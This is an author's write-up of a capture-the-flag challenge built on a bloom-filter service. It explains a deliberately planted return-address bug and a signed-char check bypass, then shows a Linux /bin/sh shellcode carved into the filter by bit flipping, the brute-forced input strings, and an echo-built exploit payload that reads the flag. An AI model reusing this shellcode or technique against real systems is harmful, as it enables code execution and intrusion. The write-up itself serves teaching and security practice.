Skip to content

Latest commit

 

History

History
253 lines (201 loc) · 11 KB

README.md

File metadata and controls

253 lines (201 loc) · 11 KB

The Program

The service loads a bloom filter from disk, and then receives commands over a simple binary protocol (three letters for the commands, followed by a one-byte size of the payload, and then up to 128 bytes of actual payload).

The commands let the user query the filter for a string. If the bloom filter returns a positive match, the program say Maybe, otherwise it prints Definitely not.

The binary is compiled by using the Open Watcom compiler. The result is a statically linked binary which uses a custom libc. Moreover, by using PRAGMA directives, I specified a different custom calling convention for each function -- so they all use a different set of registers to pass the parameters and to return the result.

The challenge is divided in two parts. The first requires to reverse the program and learn how to control the vulnerability. The second part is a shellcoding part that consists in buildin a valid shellcode out of the bloomfilter.

A Vulnerability hidden in Plain Sight

The program contains a vulnerability that let the user execute arbitrary code. What makes it different from most vulnerabilities is that you do not have to find a way to trigger it.. as it is actually executed every time at the end of the program. This could make it harder to notice at first.

The main loop of the program accepts a maximum of 42 commands. After that, it calls a function that loads a goodbye message in a register and then tail jumps to puts. However, the function also saves edi on the stack, but because of the tail jump it does not clear that correctly. As a result, after the puts invocation, the function returns to the wrong address. In particular, since edi originally points to the structure that contains the bloom filter on the heap, the code returns there.

In other words, the attacker has nothing to do and the vulnerability is automatically triggered at every execution, after parsing all commands and printing the goodbye string. If you trace the execution or debug the program (and if you are paying enough attention) you could see that it jumps to the heap and back every time.

The fact that make this bug difficult to notice is that the first two fields of the structure are crafted in a way that when executed (i.e., when the program jumps inside the structure) they correspond to a useless instruction followed by a ret. Therefore, in normal conditions, the user does not even notice this little detour on the heap.

However, I did not want the first part to be too difficult.. and in fact I thought that the weird calling convection would give away the fact that the vuln had something to do with functions setup/cleanup. Moreover, the fact that the final function (which only prints goodbye) takes as parameter a pointer to the bloom filter should be an obvious hint.

Attack

To exploit the system, the attacker needs to modify the first fields in the structure to jump over the ret instruction and directly into the bloom filter. This is not difficult, you need to control the lock field in the bloom structure by setting it to a large value. The program does not let you do that by checking that you can only pass zero or one (but there is an obvious bug in which the input is casted to a signed char, so if it is above 128 it would be accepted as < 1).

But before that, the attacker needs to modify the filter to get a shell. Every time you add a string to the bloom filter, you can flip up to three bits (corresponding to the three murmurhash) from 0 to 1. However, you can never flip a bit from 1 to 0.. so those are hard constraints you need to work around when you build your shellcode.

You can try to do that by hand by trial and error, but imho the best way is to take a simple shellcode and then test whether all its instructions can be carved into the bloom filter. So, we need a little detour into the filter itself:

A Special Bloom Filter

You can find the code I used to generate the bloom filter in the bitfield folder.

The goal of the code in the directory is to create the bloom filter used by the program AND to create the exploit (the two things are connected as the data needs to be carefully chosen to make the attack possible).

First thing, I created a randomly filled bloom filter of 1125 bytes.

Then I manually modified some bytes to include a /bin/sh shellcode. I used the super-classic 23bytes linux 32bit shellcode, modified to zero edx (the original I found online doesn't, and the interrupt fails because the pointer to env is invalid).

 1. 31 C0            xor     eax, eax
 2. 50               push    eax
 3. 68 2F 2F 73 68   push    'hs//'
 4. 68 2F 62 69 6E   push    'nib/'
 5. 89 E3            mov     ebx, esp
 6. 50               push    eax
 7. 53               push    ebx
 8. 89 E1            mov     ecx, esp
 9. B0 0B            mov     al, 0Bh
10.                  xor     edx, edx
11. CD 80            int     80hgg

I divided the shellcode in five chunks, connected by jump instructions. The result is stored in the vault_binsh.bf file.

Of course, the instructions of the shellcode are interleaved with other junk instructions. The final shellcode, thus looks like this:

Chunk 1:
 0x804b161:  mov    esi, 0xa8a01963
 0x804b166:  pop    esi
 0x804b167:  inc    ecx
 0x804b168:  inc    esi
 0x804b169:  nop
 0x804b16a:  test   al, 0x34
 0x804b16c:  rol    edx, 0x1
 0x804b16f:  xor    eax, eax
 0x804b171:  push   0x62c04bac
 0x804b176:  je     0x804b1c5

Chunk 2:
 0x804b1c5:  push   eax
 0x804b1c6:  xchg   ecx, eax
 0x804b1c7:  push   0x68732f2f
 0x804b1cc:  and    ah, dh
 0x804b1ce:  inc    eax
 0x804b1cf:  je     0x804b1bf   % not taken
 0x804b1d1:  xor    eax, eax
 0x804b1d3:  mov    cl, 0xd6
 0x804b1d5:  dec    esi
 0x804b1d6:  sub    ch, dl
 0x804b1d8:  push   0x6e69622f
 0x804b1dd:  or     al, 0x0
 0x804b1df:  nop
 0x804b1e0:  jmp    0x804b25d 

Chunk 3:
 0x804b25d:  mov    ebx, esp
 0x804b25f:  inc    edx
 0x804b260:  inc    edx
 0x804b261:  inc    edx
 0x804b262:  push   eax
 0x804b263:  test   al, 0x96
 0x804b265:  push   ebx
 0x804b266:  jge    0x804b2b6

Chunk 4:
 0x804b2b6:  mov    ecx, esp
 0x804b2b8:  shl    dh, cl
 0x804b2ba:  nop
 0x804b2bb:  and    eax, 0xc0e2e8bc
 0x804b2c0:  jne    0x804b30a         % not taken
 0x804b2c2:  mov    al, 0xb
 0x804b2c4:  nop
 0x804b2c5:  jmp    0x804b26e 

Chunk 5:
 0x804b26e:  xor    edx, edx
 0x804b270:  int    0x80

The resulting code is 80 bytes long.

At this point I manually flipped some bits in the exploit path, obtaining the final bloom filter (stored in vault.bf).

Exploit

To build the attack, you need to find a set of strings to add to the bloom filter that result in flipping the bits you need to compose your shellcode, but without flipping any other bits along the execution path.

So, first you need to look for sequences of bytes in the filter you can modify to obtain the instructions you need. For most of the instructions you would get just two/three options.. so there is no need to bruteforce or write automated tools. Just connect together those pieces with jumps and you are ready to go.

Once you have artificially created your shellcode bloom filter, you can compute the bits you need to flip by diffing the initial state of the filter with the one containing the shellcode:

(all commands are in the bitfield folder)

> python diff.py
Changes: [110, 180, 187, 190, 827, 843, 849, 854, 859, 862, 919, 965, 1030, 1035, 2062, 2102, 2165, 2169, 2179, 2182, 2736,  2841, 2852, 2866, 2869]
20 bytes, 25 bits to change

Then you need to list the bits that cannot be flipped (i.e., those that are set to zero along the execution path):

> python make_blacklist.py
Executed bytes: [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 270, 271, 272, 273]
Bit Blacklist: [8, 14, 18, 19, 20, 23, 25, 26, 29, 30, 31, 32, 33, 34, 35, 36, 38, 40, 41, 42, 44, 46, 48, 53, 55, 57, 58, 59, 60, 61, 63, 64, 67, 68, 69, 71, 72, 73, 74, 75, 77, 78, 80, 81, 82, 84, 86, 88, 89, 91, 94, 95, 97, 98, 99, 100, 101, 104, 106, 107, 108, 109, 113, 114, 115, 116, 117, 118, 119, 121, 122, 123, 126, 127, 128, 129, 130, 131, 132, 133, 136, 137, 138, 140, 143, 144, 145, 148, 150, 154, 156, 157, 159, 160, 161, 162, 163, 164, 165, 168, 170, 171, 172, 175, 176, 177, 179, 183, 808, 809, 810, 811, 813, 815, 817, 818, 819, 821, 822, 824, 825, 826, 828, 831, 836, 838, 839, 844, 846, 847, 850, 851, 855, 856, 857, 858, 860, 863, 864, 865, 866, 867, 868, 870, 871, 872, 873, 875, 880, 881, 882, 883, 884, 885, 887, 888, 889, 891, 895, 896, 900, 905, 906, 907, 910, 911, 912, 913, 914, 915, 916, 917, 921, 922, 923, 926, 928, 931, 933, 936, 940, 941, 943, 944, 946, 948, 950, 951, 952, 954, 956, 960, 961, 962, 964, 967, 972, 974, 975, 976, 978, 979, 980, 983, 985, 986, 988, 991, 992, 996, 999, 1000, 1001, 1004, 1005, 1006, 1007, 1008, 1009, 1010, 1011, 1012, 1013, 1014, 1015, 1016, 1017, 1018, 1019, 1021, 1022, 1026, 1028, 2025, 2026, 2028, 2029, 2030, 2034, 2035, 2036, 2040, 2042, 2043, 2044, 2045, 2047, 2048, 2050, 2051, 2052, 2053, 2055, 2056, 2058, 2059, 2060, 2061, 2063, 2064, 2065, 2066, 2067, 2069, 2071, 2072, 2073, 2074, 2076, 2078, 2080, 2083, 2085, 2086, 2090, 2091, 2093, 2095, 2097, 2103, 2161, 2162, 2163, 2166, 2167, 2168, 2170, 2171, 2173, 2177, 2180, 2181, 2184, 2185, 2186, 2187, 2188, 2189, 2190, 2737, 2738, 2740, 2741, 2742, 2745, 2746, 2747, 2748, 2752, 2754, 2755, 2757, 2760, 2763, 2764, 2768, 2769, 2770, 2771, 2773, 2774, 2777, 2779, 2780, 2782, 2783, 2784, 2785, 2790, 2792, 2793, 2794, 2796, 2800, 2802, 2803, 2804, 2808, 2809, 2810, 2811, 2812, 2813, 2817, 2819, 2823, 2824, 2825, 2826, 2828, 2829, 2831, 2832, 2833, 2834, 2835, 2838, 2842, 2844, 2845, 2846, 2847, 2848, 2849, 2850, 2851, 2853, 2854, 2858, 2860]

80 bytes in the executed path
370 bit blacklisted

To get the final exploit, I hardcoded both list in a python script that invokes a C implementation of the hash function (compute_hash.c) and use that to bruteforce all strings of alphanumeric characters of length five that satisfy our constraint.

In just few seconds, the code gives us the strings we need:

qqqwc 
qqqwI 
qqqor 
qqqoM 
qqqpN 
qqqkt 
qqqdt 
qqqzE 
qqq_Q 
qqqI8 
qqqOo 
qqqKs 
qqqBY 
qqq8Z 
qqq0j 
qqwt9 
qqwlF 
qqwah 
qqwzg 
qqwFm 
qqwZg 
qqwVh 
qqeyD 
qqeFJ 

Now you can merge all pieces together and enjoy your bloom filter shell!

echo -ne 'FLG\x03123'   >> exploit.bin
echo -ne 'DBG\x0100'    >> exploit.bin  # enter debug mode
echo -ne 'ADD\x05qqqwc' >> exploit.bin  # start flipping bits..
... # add all strings
echo -ne 'ADD\x05qqeFJ' >> exploit.bin  # ok, now the filter contains the shellcode
echo -ne 'DBG\x01\xeb'  >> exploit.bin  # exit debug mode and fix byte to jump into the filter
echo -ne 'FLG\x01x'     >> exploit.bin  # you need 15 useles commands to reach the end of the main loop
echo -ne 'cat flag\x0a\x0aquit\x0a' >> exploit.bin